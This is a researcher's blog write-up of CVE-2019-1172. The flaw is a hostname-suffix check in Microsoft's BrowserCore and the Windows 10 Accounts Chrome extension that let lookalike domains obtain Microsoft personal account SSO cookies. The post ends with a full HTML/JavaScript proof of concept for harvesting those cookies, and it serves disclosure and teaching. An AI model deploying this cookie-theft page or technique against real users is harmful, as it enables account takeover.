CVE-2019-1172 is the first vulnerability I discovered in Windows and it allows the disclosure of Azure AD personal account auth token to malicious websites when using the recommended browser extension.
The vulnerability lies in an incorrect check of the origin of a web request: “login.live.com” is the only authorized host, however “login.live.com.example.com” (under the control of “example.com”) is also accepted!
This is a classic and unimpressive issue. But in this post, I will explain how I discovered it and I think the journey is more interesting than the end result here. I will also give details about the vulnerability and share a PoC.
Also, it may look easy once finished and summarized in an article, but note that I discovered almost everything on the fly! So can you 😉
This is part 1 of this 2-parts article:
Introduction 🔗
Windows cloud login types 🔗
Historically you could only login in Windows only with local or Active Directory domain accounts. Recently you surely have noticed that we can login to Windows (and are encouraged!) using Microsoft online accounts, using an email address instead of a plain username. Two kinds are supported:
-
Microsoft personal accounts (called “MSA” or “live.com account”): for personal home users, to access their personal emails on outlook.live.com, OneDrive and Web Office suite on onedrive.live.com, or also their Xbox and Skype.
These are called “personal account” in Windows.
Users authenticate on login.live.com
-
Azure AD accounts: used in organizations that use cloud services and rely on Azure AD as an identity provider.
These are called “work or school account” in Windows.
Users authenticate on login.microsoftonline.com
They are handled a bit differently in Windows and the vulnerability I discovered only applies to Microsoft personal accounts.
SSO 🔗
When you log in Windows with an Active Directory account, you get SSO access to on-premises resources such as intranet website, emails, file servers, etc. Microsoft offers the same when using an online user account. The goal is to be able to open a browser and access online cloud services, such as Office 365 or any other service linked to Azure AD, without re-typing credentials.
During the sign-in process, the users obtain a token from Microsoft (called the Primary Refresh Token = PRT) which is similar to a Kerberos TGT in the Active Directory world. If you want to learn more, read “How SSO works in Windows 10”.
This is where I started wondering… How could we authenticate to a website using a web token that was obtained by a native Windows process? Was the token injected as a cookie in the browser? Was there a new JavaScript API for this?
This works directly when using Internet Explorer or Edge (unsurprising for Microsoft browsers), but what about other browsers such as Google Chrome?
Microsoft has released and promote the “Windows 10 Accounts” web extension for Chrome which allows this. It is suggested to deploy this extension via GPOs to all organization devices. There are currently almost 8M users of it!
This SSO process should not be confused with “Azure AD Seamless SSO” which is different.
Dissecting the “Windows 10 Accounts” extension 🔗
The “Windows 10 Accounts” extension seems to create the bridge between the Web world (HTML and JavaScript page) and the Windows native world (where the token was obtained and is stored).
This brings another question, how can such web extension communicate with Windows native components? This was possible a few years ago when browser extensions had many rights and could interact with the OS but the modern web extensions are now sandboxed from the OS.
Understanding the extension 🔗
Use the “CRX Extractor” online service to download the .CRX file of the extension. Then unzip it (e.g. with 7-Zip). There are only a few files and it is easy to understand:
- manifest.json: notice that the extension injects its own JavaScript code in all HTTPS webpages!
"content_scripts": [
{
"matches": [ "https://*/*" ],
"all_frames": true,
"js": [ "content.js" ],
"run_at": "document_start"
}
],
In my opinion this is Microsoft’s first mistake 😕. The SSO works by redirecting the user to a Microsoft website, it does not happen on the “client” website, so the extension could and should have been restricted to legitimate Microsoft websites. This would have killed the exploitation chain from the beginning!
- content.js: is the “content script” that runs in every HTTPS page. It registers a new event listener for the “message” type:
window.addEventListener("message", function (event) {
“message” events are triggered by the Window.postMessage() API.
- background.js: is a “background script” which is not injected in webpages but it can receive messages from the previous content script. It takes the message and adds the requesting URL:
// Pass the sender into the native host to validate that the page is able to call this method.
request.sender = sender.url;
Then it basically sends it forward:
chrome.runtime.sendNativeMessage(
"com.microsoft.browsercore",
request,
...
Native Messaging 🔗
The “sendNativeMessage” API is related to Native Messaging. This is confirmed by the only permission requested in the manifest.json file:
"permissions": [
"nativeMessaging"
]
We learn that Native Messaging allows web extensions to communicate with native applications via a specific “native messaging host” executable! Its full name is “com.microsoft.browsercore”.
As explained in the documentation, we find it in the registry under:
HKEY_CURRENT_USER\Software\Google\Chrome\NativeMessagingHosts\com.microsoft.browsercore
And also under:
HKEY_LOCAL_MACHINE\Software\Google\Chrome\NativeMessagingHosts\com.microsoft.browsercore
And it points to:
C:\Program Files\Windows Security\BrowserCore\manifest.json
You can find it on your own Windows 10, even if you did not install Chrome, do not log in with an online account and you never installed this extension! 😮
Interacting with the extension 🔗
The first line of the message handler, in content.js, filters out irrelevant messages:
if (event && event.data && event.data.channel && (event.data.channel == "53ee284d-920a-4b59-9d30-a60315b26836")) {
We take note of this and we search on the web the interesting “53ee284d-920a-4b59-9d30-a60315b26836” value! 😉
The few results hint to JavaScript files from Microsoft. What if it were present in the JavaScript loaded on login.live.com? Open the Chrome Developer Tools, the “Sources” tab and press CTRL+SHIFT+F:
The first line is from a minified script (hard to read) but the two following are from normal JavaScript code! Microsoft is kind enough to provide us with the original code (I will not go into details but this is due to some Webpack options, and the availability of the .map file).
The ChromeBrowserCore.js defines how to communicate with the extension by posting messages and getting replies from it via posted-back messages. We also notice a reference to the extension ID of the one we are interested in:
var c_channelId = "53ee284d-920a-4b59-9d30-a60315b26836";
var c_preferredExtensionId = "ppnbnpeolgkicgegkbkbjmhlideopiji";
I let you the pleasure of reading this code… 🤓
The main takeways are that the extension expects a message in form of a JavaScript object, including attributes with specific values, and which contains a “body” with a method name and its parameters. Only the “GetCookies” method is used and its only parameter is “uri” which is set to the page URL. “GetCookie” is the fallback name if “GetCookies” is refused. Based on my tests on recent versions of Windows, both are accepted.
“GetCookies” is a promising method name, don’t you think? 💡
Here is a minimal JavaScript command to invoke the extension which will in turn call BrowserCore:
window.postMessage({
channel: "53ee284d-920a-4b59-9d30-a60315b26836",
extensionId: "ppnbnpeolgkicgegkbkbjmhlideopiji",
body: { method: "GetCookies", uri: document.location.href }
});
Debugging the content script of the extension 🔗
- The content.js content script is loaded in every HTTPS page, so open for example https://login.live.com
- Open the Chrome Developer Tools
- Switch to the “Sources” tab
- Select to view the “Content scripts”
- There you have it. You can even set breakpoints:
This is what I used to help create my payload and verify that it had the correct format and passed all the checks.
BrowserCore 🔗
Manifest 🔗
The content of manifest.json is:
{
"name": "com.microsoft.browsercore",
"description": "BrowserCore",
"path": "BrowserCore.exe",
"type": "stdio",
"allowed_origins": [
"chrome-extension://ppnbnpeolgkicgegkbkbjmhlideopiji/",
"chrome-extension://ndjpnladcallmjemlbaebfadecfhkepb/"
]
}
Two Chrome extensions are allowed to communicate with it:
- Windows 10 Accounts (“ppnbnpeolgkicgegkbkbjmhlideopiji”)
- Office Online (“ndjpnladcallmjemlbaebfadecfhkepb”)
We are still on the right track! 😄
Interacting with BrowserCore from Chrome 🔗
The extension interacts with Chrome using the chrome.runtime.sendNativeMessage API which is only accessible in the context of an extension. We must execute JavaScript code in this context.
- Open Chrome
- Then the extension settings
- Enable developer mode with the toggle button in the top right corner
- Open the settings for the “Windows 10 Accounts” extension
- Click on “background page” under “Inspect views”
It will open a Developer Tools window in the context of the extension. You can confirm with the following commands:
“chrome.runtime.sendNativeMessage” is indeed here and we can call it! The most basic way to call it is:
chrome.runtime.sendNativeMessage("com.microsoft.browsercore",{}, function(){});
In the “Sources” tab we can also debug the background.js script which is very convenient:
Finding the vulnerability 🔗
Using a debugger breakpoint on the background script, just before the call to “chrome.runtime.sendNativeMessage” I was able to capture a valid payload and I started playing with it.
Here is a valid message that you can send to BrowserCore (remember to run it in the context of the extension, as shown above):
chrome.runtime.sendNativeMessage("com.microsoft.browsercore", {
method: "GetCookie",
uri: "https://login.live.com/",
sender: "https://login.live.com/"
}, function(response) {
console.log(response);
});
It works and we see two cookies returned (“DIDC” and “DIDCL”)!
You can try yourself and fiddle with parameters to see how it reacts. 🤓
For example, here I try removing either “uri” or “sender” parameters and I obtain different error codes:
💡 If you want to try finding the vulnerability yourself (and you are on an unpatched system of course), now is the time to pause reading!
We notice that there are two redundant “uri” and “sender” parameters, but still, both are required.
- “uri” is under the control of the attacker since its value is set by the JavaScript running in the web page
- “sender” is set by the extension based on the URL of the page that sent the message. We could add it along “uri” in the request payload, but this would be overwritten by the extension code. Thus, this does not seem manipulable:
// Pass the sender into the native host to validate that the page is able to call this method.
request.sender = sender.url;
I spent some time trying different variations of these parameters, until:
🏆 Indeed, “login.live.com.example.com” is considered as trustworthy as “login.live.com” which must not be the case!
This is Microsoft’s second mistake 😕
I confirm the issue by inspecting my cookies in Edge for login.live.com. The values are the same:
Remember what I said above about the two different kinds of Microsoft online accounts. We have seen that it works against personal accounts (“login.live.com”) but what about Azure AD accounts (“login.microsoftonline.com”)?
I managed to obtain the cookie (“AADSSO”) when using the legitimate domain. I also managed to have the request accepted by BrowserCore with the same technique, but no cookie is returned. I suppose that it is processed differently and that this time it tries to return the cookies for the malicious domain, which does not have any. Anyway I decided it was enough to report it to MSRC.
Proof of Concept 🔗
We cheated a bit by interacting with BrowserCore directly from within the context of the extension. To really show the impact and validate the vulnerability, I recommend creating a full Proof of Concept. Here is the entire code which is heavily inspired from Microsoft code in ChromeBrowserCore.js:
<html>
<head>
<style>
pre {
overflow-x: auto;
white-space: pre-wrap;
white-space: -moz-pre-wrap;
white-space: -pre-wrap;
white-space: -o-pre-wrap;
word-wrap: break-word;
}
</style>
<script lang="javascript">
var w = window;
var document = w.document;
var c_channelId = "53ee284d-920a-4b59-9d30-a60315b26836";
var c_preferredExtensionId = "ppnbnpeolgkicgegkbkbjmhlideopiji";
// callback for replies from the extension
function _window_onMessage(event)
{
var request = event.data;
var channel = request && request.channel;
var responseId = request && request.responseId;
var body = request && request.body;
var method = body && body.method;
if (channel === c_channelId)
{
console.log("Received message for method " + method);
if (method === "Response")
{
console.log("Response: ");
console.log(body.response);
if(body.response.status === "Fail")
{
console.log("Error: " + body.response.ext.error);
}
else
{
console.log("SUCCESS!"); // we got a valid answer
document.getElementById("output").innerText = JSON.stringify(body.response.result, undefined, 2);
}
}
else
{
console.log(body);
}
}
}
w.addEventListener("message", _window_onMessage);
// try with "GetCookies" and "GetCookie" to be sure it works
var message =
{
channel: c_channelId,
responseId: 1,
extensionId: c_preferredExtensionId,
body: { method: "GetCookies", uri: document.location.href }
};
w.postMessage(message, "*");
var message =
{
channel: c_channelId,
responseId: 1,
extensionId: c_preferredExtensionId,
body: { method: "GetCookie", uri: document.location.href }
};
w.postMessage(message, "*");
</script>
</head>
<body>
<div id="ch-53ee284d-920a-4b59-9d30-a60315b26836"></div> <!-- expected by the extension -->
<pre id="output"></pre>
</body>
</html>
And I hosted it on a server on the “login.live.com.<something>.ovh” domain, and it worked (the cookies are obtained by my non-Microsoft site):
I had to use HTTPS, but I did not want to trigger phishing monitoring alerts by registering a certificate with this name, so I bypassed the HTTPS warning but a real attacker would have taken appropriate measures…
Further reading 🔗
This was the first part of the article where I explained the process of discovering the vulnerability. Want to know more about how this feature works and see some reverse-engineering? Then read the second part.
This topic was also covered recently by two great researchers with different approaches and outcomes:
- “Requesting Azure AD Request Tokens on Azure-AD-joined Machines for Browser SSO” by @tifkin_
- “Abusing Azure AD SSO with the Primary Refresh Token” by @_dirkjan
External references 🔗
- Microsoft patch
- MITRE CVE: CVE-2019-1172
- NIST NVD: CVE-2019-1172